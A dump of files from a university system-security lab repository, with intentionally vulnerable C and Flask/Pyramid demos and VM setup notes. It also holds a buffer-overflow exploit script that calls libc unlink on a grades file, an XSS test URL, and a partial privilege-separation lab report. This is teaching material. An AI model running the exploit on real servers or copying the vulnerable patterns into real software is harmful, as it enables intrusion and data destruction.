"content_id": "fa2e34b39b33d2bd733ced2080a867f702f4437a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 662, "license_type": "no_license", "max_line_length": 74, "num_lines": 43, "path": "/tutorials/session11/xss-cookie/app/thread_test.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "\"\"\"\nSmall example to show the problem of multiple threads accessing one global\nvariable\n\"\"\"\n\nfrom threading import (\n Thread,\n Lock,\n )\nimport time\nimport random\n\n\na = 0\na_lock = Lock()\n\ndef increaser():\n global a\n olda = a\n time.sleep(random.randint(0, 2))\n a = olda + 1\n\ndef decreaser():\n global a\n olda = a\n time.sleep(random.randint(0, 2))\n a = olda - 1\n\nthreads = []\n\nfor _ in range(100):\n threads.append(Thread(target=increaser))\n threads.append(Thread(target=decreaser))\n\nprint(\"a at the beginning {0}\".format(a))\n\nfor t in threads:\n t.start()\n\nfor t in threads:\n t.join()\n\nprint(\"a at the end {0}\".format(a))\n" }, { "alpha_fraction": 0.43197280168533325, "alphanum_fraction": 0.4931972920894623, "avg_line_length": 12.952381134033203, "blob_id": "ea955764996225796049dc273bc996abebe2d723", "content_id": "7a567fbf0f85e2802316baefec69f4f1e8e40e20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 294, "license_type": "no_license", "max_line_length": 41, "num_lines": 21, "path": "/demo/memerror/tcache.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main() {\n void *a, *b, *c, *d, *e, *f, *x, *y, *z;\n a = malloc(16);\n b = malloc(16);\n c = malloc(32);\n d = malloc(48);\n e = malloc(32);\n f = malloc(32);\n\n x = malloc(64);\n y = malloc(64);\n z = malloc(64);\n\n // adding to tcache\n free(b);\n free(a);\n free(f);\n free(e);\n free(c);\n free(d);\n}\n\n" }, { "alpha_fraction": 0.5421686768531799, "alphanum_fraction": 0.5559380650520325, "avg_line_length": 23.20833396911621, "blob_id": "fd0d0a4d76770b18bd4c8f86096cefa23246e80b", "content_id": "13a85ca7f4489d0b7e415486f3b30e6a2ab3f334", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 581, "license_type": "no_license", "max_line_length": 65, "num_lines": 24, "path": "/tutorials/session11/xss-demo/app.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, make_response\nimport db\n\napp = Flask(__name__)\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n db.add_comment(request.form['comment'])\n\n search_query = request.args.get('q')\n\n comments = db.get_comments(search_query)\n\n r = make_response(render_template('index.html',\n comments=comments,\n search_query=search_query))\n\n return r\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080)\n" }, { "alpha_fraction": 0.6551724076271057, "alphanum_fraction": 0.6734279990196228, "avg_line_length": 20.434782028198242, "blob_id": "16d714c8b750c96df5c6b4795836582f757d78af", "content_id": "28fafde38fd8e5bc41db737dc097ff20ad1e65a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 493, "license_type": "no_license", "max_line_length": 40, "num_lines": 23, "path": "/demo/memerror/heapstack.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "struct malloc_chunk {\n unsigned long mchunk_prev_size;\n unsigned long mchunk_size;\n struct malloc_chunk* fd;\n struct malloc_chunk* bk;\n struct malloc_chunk* fd_nextsize;\n struct malloc_chunk* bk_nextsize;\n};\n\n\nint main() {\n struct malloc_chunk fake_chunk = {0};\n unsigned long *a = malloc(16);\n\n printf(\"before poisoning, a: %p\\n\", a);\n \n fake_chunk.mchunk_prev_size = 0;\n fake_chunk.mchunk_size = 0x20;\n free(&fake_chunk.fd);\n\n a = malloc(16);\n printf(\"after poisoning, a: %p\\n\", a);\n}\n" }, { "alpha_fraction": 0.7791411280632019, "alphanum_fraction": 0.7975460290908813, "avg_line_length": 39.75, "blob_id": "5d07fe0653e34e4c4cc1bf598ef848fc56d210bb", "content_id": "d6ebdc9390cd83912fe51e753cf29a149cad5381", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 163, "license_type": "no_license", "max_line_length": 61, "num_lines": 4, "path": "/tutorials/session11/xss-cookie/app/requirements.sh", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "sudo apt-get install libffi-dev\npython3 -m pip install -r dev_requirements.txt --no-cache-dir\nsudo python3 -m pip install markupsafe\nsudo python3 setup.py develop\n" }, { "alpha_fraction": 0.63607257604599, "alphanum_fraction": 0.6588402986526489, "avg_line_length": 26.30097007751465, "blob_id": "d7c54d6b4a4aee510a2c8a026c3f0b89177b5014", "content_id": "99f7531c7e7fba6bf8f36991c375226a28c624cc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2811, "license_type": "permissive", "max_line_length": 157, "num_lines": 103, "path": "/lab1_mem_vulnerabilities/exploit-4.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\nimport sys\nimport socket\nimport traceback\nimport urllib\nimport struct\n\n####\n\n# You might find it useful to define variables that store various\n# stack or function addresses from the zookd / zookfs processes,\n# which you can then use in build_exploit(); the following are just\n# examples.\n\nstack_buffer = 0x7fffffffdcd0\nstack_retaddr = 0x7fffffffece8\naccidentally_fn_addr = 0x5555555558f4\nlib_c_unlink_addr = 0x2aaaab2470e0\n\nunlink_file_path = \"/home/httpd/grades.txt\" + b'\\00'\n\n\n# This is the function that you should modify to construct an\n# HTTP request that will cause a buffer overflow in some part\n# of the zookws web server and exploit it.\n\n\ndef build_exploit(shellcode):\n # Things that you might find useful in constructing your exploit:\n ##\n # urllib.quote(s)\n # returns string s with \"special\" characters percent-encoded\n ## struct.pack(\"<Q\", x)\n # returns the 8-byte binary encoding of the 64-bit integer x\n \"\"\"\n Solution for Exercise 2\n \"\"\"\n payload = unlink_file_path + \\\n 'a' * (4095 - len(unlink_file_path)) + 'b' * 24 # the 4095 is because of the slash that is to account for slash required\n\n accidentally_addr_processed = struct.pack(\"<Q\", accidentally_fn_addr)\n payload += accidentally_addr_processed\n\n # add another 8 byte padding as mentioned to load into rdi,\n # payload += 'c' * 8\n\n # proceed to add lib-c address to the addr just after rip so that when pop happens, sp points here, and goes into lib-c. There is now no need for padding\n lib_c_unlink_addr_processed = struct.pack(\"<Q\", lib_c_unlink_addr)\n payload += lib_c_unlink_addr_processed\n\n # make that rb %0x10 point to stackbuffer[1]\n payload += struct.pack(\"<Q\", stack_buffer+1)\n\n # Nabei this took me few hours to realise\n payload = urllib.quote(payload)\n\n req = \"GET /{0} HTTP/1.0\\r\\n\".format(payload) + \\\n \"\\r\\n\"\n return req\n\n####\n\n\ndef send_req(host, port, req):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print(\"Connecting to %s:%d...\" % (host, port))\n sock.connect((host, port))\n\n print(\"Connected, sending request...\")\n sock.send(req)\n\n print(\"Request sent, waiting for reply...\")\n rbuf = sock.recv(1024)\n resp = \"\"\n\n while len(rbuf):\n resp = resp + rbuf\n rbuf = sock.recv(1024)\n\n print(\"Received reply.\")\n sock.close()\n return resp\n\n####\n\n\nif len(sys.argv) != 3:\n print(\"Usage: \" + sys.argv[0] + \" host port\")\n exit()\n\ntry:\n shellfile = open(\"shellcode.bin\", \"r\")\n shellcode = shellfile.read()\n req = build_exploit(shellcode)\n print(\"HTTP request:\")\n print(req)\n\n resp = send_req(sys.argv[1], int(sys.argv[2]), req)\n print(\"HTTP response:\")\n print(resp)\nexcept:\n print(\"Exception:\")\n print(traceback.format_exc())" }, { "alpha_fraction": 0.4732142984867096, "alphanum_fraction": 0.4791666567325592, "avg_line_length": 11.923076629638672, "blob_id": "b31475f21b5adc43eada8380f7c1211aabb7e4ad", "content_id": "9171d87dce722bd8e30ad66b1f1cd9abff256908", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 336, "license_type": "no_license", "max_line_length": 45, "num_lines": 26, "path": "/tutorials/session1/simple_buffer_overflow/demo.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n\nchar * my_gets(char * buf) {\n int c;\n\n while ((c = getchar()) != EOF && c != '\\n')\n {\n *buf++ = c;\n }\n *buf = '\\0';\n return buf;\n}\n\nint read_req(void) {\n char buf[8];\n int i;\n my_gets(buf);\n i = atoi(buf);\n return i;\n}\n\nint main() {\n int x = read_req();\n printf(\"x = %d\\n\", x);\n}\n" }, { "alpha_fraction": 0.529411792755127, "alphanum_fraction": 0.5882353186607361, "avg_line_length": 12.076923370361328, "blob_id": "3956372ca4858f39571d63cd32424d3a3176a8b2", "content_id": "288ad4f19087ba9de8e4907a56056ab04e6e5c14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 170, "license_type": "no_license", "max_line_length": 32, "num_lines": 13, "path": "/tutorials/session4/rlibc/rlibc.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nvoid vuln() {\n\tchar buf[128];\n\tread(0, buf, 256);\n}\n\nint main() {\n\tvuln();\n\twrite(1, \"Hello, World\\n\", 13);\n}\n" }, { "alpha_fraction": 0.489448606967926, "alphanum_fraction": 0.5234853625297546, "avg_line_length": 21.25757598876953, "blob_id": "5675d744aa8e7afb89220774b799b672745afcf9", "content_id": "7919a96a28ac38cef2ce806176747ae02ad20578", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1469, "license_type": "permissive", "max_line_length": 94, "num_lines": 66, "path": "/documentation/docs/.vuepress/nav.js", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "var DownloadsNav = [\n {\n textEN: 'Required Software',\n items: [\n {\n text: 'Oracle VM Virtual Box (Windows)',\n link:\n 'https://download.virtualbox.org/virtualbox/6.1.6/VirtualBox-6.1.6-137129-Win.exe'\n },\n {\n text: 'Oracle VM Virtual Box (MAC OS)',\n link:\n 'https://download.virtualbox.org/virtualbox/6.1.6/VirtualBox-6.1.6-137129-OSX.dmg'\n },\n {\n text: 'Oracle VM Virtual Box (Linux)',\n link: 'https://www.virtualbox.org/wiki/Linux_Downloads'\n },\n {\n text: 'MobaXterm (SSH Client for Windows)',\n link: 'https://mobaxterm.mobatek.net/download-home-edition.html'\n }\n ]\n },\n {\n textEN: 'Virtual Machines',\n items: [\n {\n text: 'ISTD50044.ova (Debian 9.7)',\n link:\n 'https://drive.google.com/open?id=1iKXW7YgwMLvZITnJCX8oYDrKlgtouarQ'\n },\n {\n text: 'CTFD-VM.ova (Ubuntu 20.04)',\n link:\n 'https://drive.google.com/file/d/1SB2R-YDrRpRO-a3jNgEi-D1ztYi8C7TK/view?usp=sharing'\n }\n\n ]\n }\n]\n\nvar LabsNav = [\n {\n text: 'Labs Selection',\n items: [\n {\n text: 'Lab 1 - Memory vulnerabilities',\n link: '/labs/lab1/'\n },\n {\n text: 'Lab 2 - Privilege separation',\n link: '/labs/lab2/'\n },\n {\n text: 'Lab 3 - Web security',\n link: '/labs/lab3/'\n }\n ]\n }\n]\n\nmodule.exports = {\n DownloadsNav,\n LabsNav\n}\n" }, { "alpha_fraction": 0.6605045795440674, "alphanum_fraction": 0.6826881170272827, "avg_line_length": 58.701297760009766, "blob_id": "d7e2b2095b3f1559bd0413f111a9673073ae2ee6", "content_id": "56f702f793d07fef74a3aeb932b5a37537e1d303", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4598, "license_type": "permissive", "max_line_length": 529, "num_lines": 77, "path": "/documentation/docs/setup_vm/README.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# Course VMs\nThere are 2 VMs you will need for this course: one is for your group project, the other is for \npracticing CTF challenges. \n\n## Setup Project VM\n\nExploiting buffer overflows requires precise control over the execution environment. A small change in the compiler, environment variables, or the way the program is executed can result in slightly different memory layout and code structure, thus requiring a different exploit. For this reason, this lab uses a [virtual machine](https://en.wikipedia.org/wiki/Virtual_machine) to run the vulnerable web server code.\n\n![home](/labs/setup_vm/home.png)\n\n### 1) Download VM software\n\nTo start working on this lab assignment, you'll need software that lets you run a virtual machine. On Windows, Mac or Linux, use [Oracle VM Virtual Box 6.1.6](https://www.virtualbox.org/wiki/Downloads) available on the `Downloads tab`.\n\n### 2) Download VM Image\n\nOnce you have virtual machine software installed on your machine, you should download the [ISTD50044.ova](https://drive.google.com/file/d/1iKXW7YgwMLvZITnJCX8oYDrKlgtouarQ/view?usp=sharing) (available on `Downloads tab`) to your computer. This virtual machine image contains an installation of Debian 9.7 Linux.\n\n### 3) Import & Configure VM Image\n\nTo import the course VM, open Oracle VM Virtual Box and import `ISTD50044.ova`. Go to `File > Import Appliance`, select the file `ISTD50044.ova` and proceed the import process with the default settings. After some minutes the import process should finish and Oracle VM Virtual Box should will list the VM.\n\nBy default the VM image is imported with the correct NAT network settings, however you can verify if such configuration is correct. Go to `Settings > Network > Advanced` and open the `Port Forwarding window`. The Ports forwarding should be configured as the Figure below:\n\n![nat_settings](/labs/setup_vm/nat_settings.png)\n\n### 4) Start VM\n\nTo start the VM, simply select the **ISTD50044** entry and click on the Start button (Green right arrow on toolbar). If you get a firewall prompt, you can accept to allow the VM to open **ports 22000, 8080 and 3000** so you can connect and browse the labs apps.\n\n![import_vm](/labs/setup_vm/import_vm.gif)\n\n:::tip\n\n#### VM Credentials\n\nYou'll use two accounts on the VM, the user account (**httpd**) and root. By default, the VM automatically logins **httpd** user.\n\n| Username | Password | Description |\n| :------- | :------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `httpd` | `httpd` | You should use the `httpd` account for your work. By default the VM should login to this account when started. |\n| `root` | `root` | You can use the `root` account to install new software packages with **apt-get install \\*pkgname\\***. Or you can log in as `httpd` and run the command with the **sudo** prefix. |\n\n:::\n\n### 5) Connect to the VM\n\n#### SSH Client\n\nYou can either log into the virtual machine using its console, or use SSH to log into the virtual machine over the (virtual) network. You can use any SSH client to access the VM, but we recommend using [MobaXterm](https://mobaxterm.mobatek.net/download-home-edition.html) as it provides easy access to VM's files via SFTP protocol. As the VM forwards it SSH port (22) to the host port 22000 by default, the SSH access is done via the localhost ([email protected]:22000). The configuration using MobaXterm SSH client is shown below.\n\n![mobaxterm](/labs/setup_vm/mobaxterm.png)\n\n#### VSCode IDE\n\nAfter the VM is running, you can also access the online VSCode IDE which allows easy code browsing of the labs files.\n\n![vscode](/labs/setup_vm/vscode.png)\n\n#### Labs\n\nNow that you have your environment ready, follow the link to [Lab 1](/labs/lab1/).\n\n\n## Setup CTF VM\n\nThe practice VM image for CTF exercises can be downloaded here\n[ctfd-vm.ova](https://drive.google.com/file/d/1SB2R-YDrRpRO-a3jNgEi-D1ztYi8C7TK/view?usp=sharing) or\ndirectly from the `Download tab`. The VM is loaded with all challenges and necessary libaries. It is \nis roughly 6GB in size, and contains Ubuntu 20.04. It has been tested with VirtualBox 6.1.\n\nOnce started, you can SSH to it via port 22222 at 127.0.0.1. Specifically,\n\n\n`ssh -p 22222 [email protected]`\n\nwhere the password for ctf is `qwertyu`.\n\n" }, { "alpha_fraction": 0.6253877282142639, "alphanum_fraction": 0.6282510161399841, "avg_line_length": 28.514083862304688, "blob_id": "453fd598f7444b27d8fb90b1376f8b226c682abd", "content_id": "5da88dbc1c860c83a214cb2975a30e23c32de429", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4191, "license_type": "no_license", "max_line_length": 77, "num_lines": 142, "path": "/tutorials/session11/xss-cookie/app/xss_demo/views.py", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "from pyramid.view import (\n view_config,\n forbidden_view_config,\n )\nfrom pyramid.request import Response\nimport pyramid.httpexceptions as exc\nfrom pyramid.security import (\n remember,\n forget,\n )\nimport html\n\nfrom .models import (\n DB,\n Post,\n Comment,\n User,\n )\n\ndef _add_csp_header_hard(request):\n request.response.headers['Content-Security-Policy'] = (\n \"default-src 'none';\"\n \"script-src 'self';\"\n \"connect-src 'self';\"\n \"img-src 'self';\"\n \"style-src 'self';\"\n )\n\n\ndef _add_csp_header(request):\n request.response.headers['Content-Security-Policy'] = (\n \"default-src 'none';\"\n \"script-src 'self' oss.maxcdn.com 'unsafe-inline';\"\n \"connect-src 'self';\"\n \"img-src 'self' placehold.it placeholdit.imgix.net;\"\n \"style-src 'self' oss.maxcdn.com 'unsafe-inline';\"\n \"font-src 'self' oss.maxcdn.com;\"\n )\n\n\n@view_config(route_name='home', renderer='templates/home.pt')\ndef home(request):\n posts = DB.get_all(Post)\n return {'posts': sorted(posts, key=lambda post: post.date, reverse=True)}\n\n\n@view_config(route_name='post', renderer='templates/post.pt')\ndef post(request):\n post_id = int(request.matchdict['id'])\n post = DB.get(Post, post_id)\n comments = []\n for cid in post.comment_ids:\n comments.append(DB.get(Comment, cid))\n return {\n 'post': post,\n 'comments': sorted(comments, key=lambda comment: comment.date,\n reverse=True)\n }\n\n\n@view_config(route_name='add_comment')\ndef add_comment(request):\n post_id = int(request.matchdict['id'])\n post = DB.get(Post, post_id)\n author = request.params['author']\n message = request.params['message']\n comment = Comment(message, author, post_id)\n DB.save(comment)\n post.comment_ids.append(comment.id)\n DB.save(post)\n raise exc.HTTPFound(request.route_url('post', id=post_id))\n\n\n@view_config(route_name='new_post', renderer='templates/new_post.pt')\ndef new_post(request):\n if request.authenticated_userid != 'Administrator':\n raise exc.HTTPForbidden()\n return {}\n\n\n@view_config(route_name='add_post')\ndef add_post(request):\n if request.authenticated_userid != 'Administrator':\n raise exc.HTTPForbidden()\n author = request.authenticated_userid\n title = request.params['title']\n content = request.params['content']\n post = Post(title, content, author)\n DB.save(post)\n raise exc.HTTPFound(request.route_url('post', id=post.id))\n\n\n@view_config(route_name='login', renderer='templates/login.pt')\n@forbidden_view_config(renderer='templates/login.pt')\ndef login(request):\n login_url = request.route_url('login')\n referrer = request.url\n if referrer == login_url:\n referrer = '/' # never use the login form itself as came_from\n came_from = request.params.get('came_from', referrer)\n message = ''\n username = ''\n password = ''\n if 'form.submitted' in request.params:\n username = request.params['username']\n password = request.params['password']\n for user in DB.get_all(User):\n if user.username.lower() == username.lower() and \\\n user.password_correct(password):\n headers = remember(request, user.username)\n raise exc.HTTPFound(location = came_from, headers = headers)\n message = 'Failed login'\n\n return dict(\n message = message,\n came_from = came_from,\n username = username,\n )\n\n\n@view_config(route_name='search', renderer='templates/search.pt')\ndef search(request):\n return {'query': request.params.get('q', '')}\n # http://localhost:6543/search?q=%3Cscript%3Ealert(123)%3C/script%3E\n # chromium-browser --temp-profile --disable-xss-auditor\n\n\n@view_config(route_name='search_raw')\ndef search_raw(request):\n \"\"\"\n Search results without template (raw Response() object).\n Templates help escaping characters.\n \"\"\"\n query = request.params.get('q', '')\n #query = html.escape(query)\n content = \"\"\"\n<html>\n <body>\n <p>Your query is: {0}</p>\n </body>\n</html>\"\"\".format(query)\n return Response(content)\n" }, { "alpha_fraction": 0.6254558563232422, "alphanum_fraction": 0.7261123061180115, "avg_line_length": 25.375, "blob_id": "12ec7753ba02a815decac803a83e487ce56cfe88", "content_id": "2a7fd63a199450b88e746911c503d73903f77202", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2742, "license_type": "permissive", "max_line_length": 90, "num_lines": 104, "path": "/lab2_priv_separation/chroot-setup.sh", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#!/bin/sh -x\nif id | grep -qv uid=0; then\n echo \"Must run setup as root\"\n exit 1\nfi\n\ncreate_socket_dir() {\n local dirname=\"$1\"\n local ownergroup=\"$2\"\n local perms=\"$3\"\n\n mkdir -p $dirname\n chown $ownergroup $dirname\n chmod $perms $dirname\n}\n\nset_perms() {\n local ownergroup=\"$1\"\n local perms=\"$2\"\n local pn=\"$3\"\n\n chown $ownergroup $pn\n chmod $perms $pn\n}\n\nrm -rf /jail\nmkdir -p /jail\ncp -p index.html /jail\n\n./chroot-copy.sh zookd /jail\n./chroot-copy.sh zookfs /jail\n\n#./chroot-copy.sh /bin/bash /jail\n\n./chroot-copy.sh /usr/bin/env /jail\n./chroot-copy.sh /usr/bin/python2 /jail\n\n# to bring in the crypto libraries\n./chroot-copy.sh /usr/bin/openssl /jail\n\nmkdir -p /jail/usr/lib /jail/usr/lib/x86_64-linux-gnu /jail/lib /jail/lib/x86_64-linux-gnu\ncp -r /usr/lib/python2.7 /jail/usr/lib\ncp /usr/lib/x86_64-linux-gnu/libsqlite3.so.0 /jail/usr/lib/x86_64-linux-gnu\ncp /lib/x86_64-linux-gnu/libnss_dns.so.2 /jail/lib/x86_64-linux-gnu\ncp /lib/x86_64-linux-gnu/libresolv.so.2 /jail/lib/x86_64-linux-gnu\ncp -r /lib/resolvconf /jail/lib\n\nmkdir -p /jail/usr/local/lib\ncp -r /usr/local/lib/python2.7 /jail/usr/local/lib\n\nmkdir -p /jail/etc\ncp /etc/localtime /jail/etc/\ncp /etc/timezone /jail/etc/\ncp /etc/resolv.conf /jail/etc/\n\nmkdir -p /jail/usr/share/zoneinfo\ncp -r /usr/share/zoneinfo/America /jail/usr/share/zoneinfo/\n\ncreate_socket_dir /jail/echosvc 61010:61012 755\ncreate_socket_dir /jail/authsvc 61013:61012 755\ncreate_socket_dir /jail/banksvc 61014:61012 755\n\n\nmkdir -p /jail/tmp\nchmod a+rwxt /jail/tmp\n\nmkdir -p /jail/dev\nmknod /jail/dev/urandom c 1 9\n\ncp -r zoobar /jail/\nrm -rf /jail/zoobar/db\n\npython /jail/zoobar/zoodb.py init-person\npython /jail/zoobar/zoodb.py init-transfer\npython /jail/zoobar/zoodb.py init-cred\npython /jail/zoobar/zoodb.py init-bank\n\n# HOTFIX, to make it writeable by the . Person used by Cred, Transfer used by Bank\nset_perms 61012:61012 770 /jail/zoobar/db/person\nset_perms 61012:61012 660 /jail/zoobar/db/person/person.db\nset_perms 61014:61014 700 /jail/zoobar/db/transfer\nset_perms 61014:61014 600 /jail/zoobar/db/transfer/transfer.db\n\n\nset_perms 61013:61012 700 /jail/zoobar/db/cred\nset_perms 61013:61012 600 /jail/zoobar/db/cred/cred.db\nset_perms 61014:61014 700 /jail/zoobar/db/bank\nset_perms 61014:61014 600 /jail/zoobar/db/bank/bank.db\n\n# Hotfix to make echo server work now\nset_perms 61010:61010 755 /jail/zoobar/echo-server.py\n\n# For part 5 -- Auth service\nset_perms 61013:61012 700 /jail/zoobar/auth-server.py\n\n# For part 7 -- Bank service\nset_perms 61014:61014 700 /jail/zoobar/bank-server.py\n\n# ex4\nset_perms 61007:61007 755 /jail/zoobar/index.cgi\n\n# ex9\ncreate_socket_dir /jail/profilesvc 61006:61006 755\nset_perms 61006:61006 700 /jail/zoobar/profile-server.py" }, { "alpha_fraction": 0.5565217137336731, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 8.583333015441895, "blob_id": "065e81b98994858e237e23cca4c89b42cf737d82", "content_id": "c7581b29aa457b584798012b2aa0ba73262fb2b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 115, "license_type": "no_license", "max_line_length": 23, "num_lines": 12, "path": "/tutorials/session4/rlibc/Makefile", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "CFLAGS = -m32 -w -g -O0\nLDFLAGS = -m32\n\nall: rlibc \n\n.PHONY: clean\n\nrlibc: rlibc.c\n\nclean:\n\trm -f rlibc\n\trm -f *.o\n" }, { "alpha_fraction": 0.5667752623558044, "alphanum_fraction": 0.628664493560791, "avg_line_length": 18.25, "blob_id": "6150649a113d224d0dd6db399b8fddc97f89d4b6", "content_id": "f81b81feff342619b4d475d209dfb18766892402", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 307, "license_type": "no_license", "max_line_length": 47, "num_lines": 16, "path": "/tutorials/session3/vulnerable.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n\nvoid first128(char * str) {\n char buffer[128];\n strcpy(buffer, str);\n printf(\"%s\\n\", buffer);\n}\nint main(int argc, char ** argv) {\n static char input[1024];\n while (read(STDIN_FILENO, input, 1024) > 0) {\n first128(input);\n }\n return 0;\n}" }, { "alpha_fraction": 0.47706422209739685, "alphanum_fraction": 0.5321100950241089, "avg_line_length": 14.428571701049805, "blob_id": "9342aaf1b11fc654bf46fbba5d688cbc0b63c383", "content_id": "acf0134dbaa39420aa62f041e523366de630c635", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 109, "license_type": "no_license", "max_line_length": 24, "num_lines": 7, "path": "/demo/memerror/integer.c", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "int main() {\n\tint size;\n\tchar buf[16];\n\tscanf(\"%i\", &size);\n\tif (size > 16) exit(1);\n\tread(0, buf, size);\n}\n\n" }, { "alpha_fraction": 0.6945415139198303, "alphanum_fraction": 0.7184466123580933, "avg_line_length": 39.30434799194336, "blob_id": "41fc2465f42ad1db939bbc9250b038738ebd7bcb", "content_id": "c5a1feea3fc0c05025359a65670eae195d9f1527", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23175, "license_type": "permissive", "max_line_length": 407, "num_lines": 575, "path": "/lab2_priv_separation/report.md", "repo_name": "iFission/50.044-System-Security-2021-Labs", "src_encoding": "UTF-8", "text": "# System Security Lab 2\n\nAlex W `1003474`\n\nSheikh Salim `1003367`\n\n## Exercise 1\n```\nscripts used to run and test server\n\nsudo make all setup; sudo ./zookld zook.conf\nsudo make check\n```\n\n### Glossary for lookup\n```\nzookws: webserver\n no logger, no helper daemon\nzookld: launcher daemon\nzook.conf: configs for services\n zookfs_svc: serve static file, execute dynamic script\n zookfs\nzookd: routes requests to services\n\nzookld => zookfs_svc, echo_svc\nzookfs_svc => zookd => http_serve\n 1. => http_serve_executable\n 2. => http_serve_file\n 3. => http_serve_directory\n => looks for index.html/php/cgi in the directory, then call http_serve => http_serve_file/executable\n``` \n\n\n#### Playground\n![](https://i.imgur.com/02snmQR.png)\nAs shown in the screenshot, we created 2 accounts, sheek and alex. Based on the transaction history, sheek has sent alex 2 zoobars, and vice versa. Sheek has also updated his profile description with \"Hello, Lorem ipsum\", as viewed by alex's profile. alex also sees that sheek has 10 zoobars.\n\n### Understanding Serve Executable (Extra)\n#### CGI\ncgi (Common Gateway Interface) is used by the zook server to launch CGI scripts in a different process to process any request. The CGI process will process the request and return a HTML to the server, and the server relays that back to the client's browser. In this case, python scripts written in flask in zoobar folder are all defined as CGI services in `index.cgi`\n\nWithin the `index.cgi`, it loads up all method definitions in the directory. Only methods with a return html method return something to us\n\nFlow is -> if user enters a method via `/zoobar/index.cgi/users` they will get to execute the users method in python.\n\n- http will direct request to service 1\n- service 1 will direct to index.cgi\n- index.cgi will then call the python method\n\n#### NON-CGI\nIf the admin does not want the method to run via cgi, need to specify in conf. This specification allows you to run methods directly like `/zoobar/echo-server.py?s=hello`\n\n\n## Exercise 2\nIn this exercise, we simply have to `chroot` into a directory that has been specified, which is `/jail`. The following code shows the method implemented:\n\n```c\nif ((dir = NCONF_get_string(conf, name, \"dir\")))\n{\n /* chroot into dir */\n\n warnx(\"path %s\", argv[0]);\n warnx(\"dir %s\", dir);\n int result = chroot(dir);\n if (result != 0)\n warnx(\"Failed to chroot to jail\");\n chdir(\"/\");\n}\n```\n\n## Exercise 3\n\nIn this section, we need to set the correct UIDs and GIDs to the appropriate processes, as defined in the config. To do so, we need to maintain the following order\n1. We first have to change the GIDs. This is so as we need to make sure that we are in root when changing the GIDs. Hence, `setgid` and `setgroups` have to be done prior\n3. With the above done, only then can we set the UID. If we had done UIDs first, then we would no longer be in root, hence would have been unable to conduct the first step. This is so as we were utilising `setresuid`, which would have set all three `Real UID`, `Effective UID` and `Saved UID`. This has been done to prevent privilege re-escalation by the processes due to incomplete setting of IDs.\n\n\n\nThe following code shows how the order is adhered to\n```c=\n // First - SET the GID\n if (NCONF_get_number_e(conf, name, \"gid\", &gid))\n {\n /* change real, effective, and saved gid to gid */\n warnx(\"setgid %ld\", gid);\n setresgid(gid, gid, gid);\n }\n \n // Second - SET the additional GIDs\n\n if ((groups = NCONF_get_string(conf, name, \"extra_gids\")))\n {\n ngids = 0;\n CONF_parse_list(groups, ',', 1, &group_parse_cb, NULL);\n /* set the grouplist to gids */\n for (i = 0; i < ngids; i++)\n {\n warnx(\"extra gid %d\", gids[i]);\n }\n setgroups(ngids, gids);\n }\n \n // Finally we can set UID and expect to not be root by the end\n if (NCONF_get_number_e(conf, name, \"uid\", &uid))\n {\n /* change real, effective, and saved uid to uid */\n warnx(\"setuid %ld\", uid);\n setresuid(uid, uid, uid);\n }\n```\n## Exercise 4\nTo separate the services, the template in zook.conf is used.\n\nWe updated the config as following:\n```\n[zook]\n port = 8080\n http_svcs = dynamic_svc, static_svc\n extra_svcs = echo_svc\n\n[zookd]\n cmd = zookd\n uid = 61011\n gid = 61011\n dir = /jail\n\n[static_svc]\n cmd = zookfs\n url = .*(\\.(html|css|js|jpg|ico)).*\n uid = 61009\n gid = 61009\n dir = 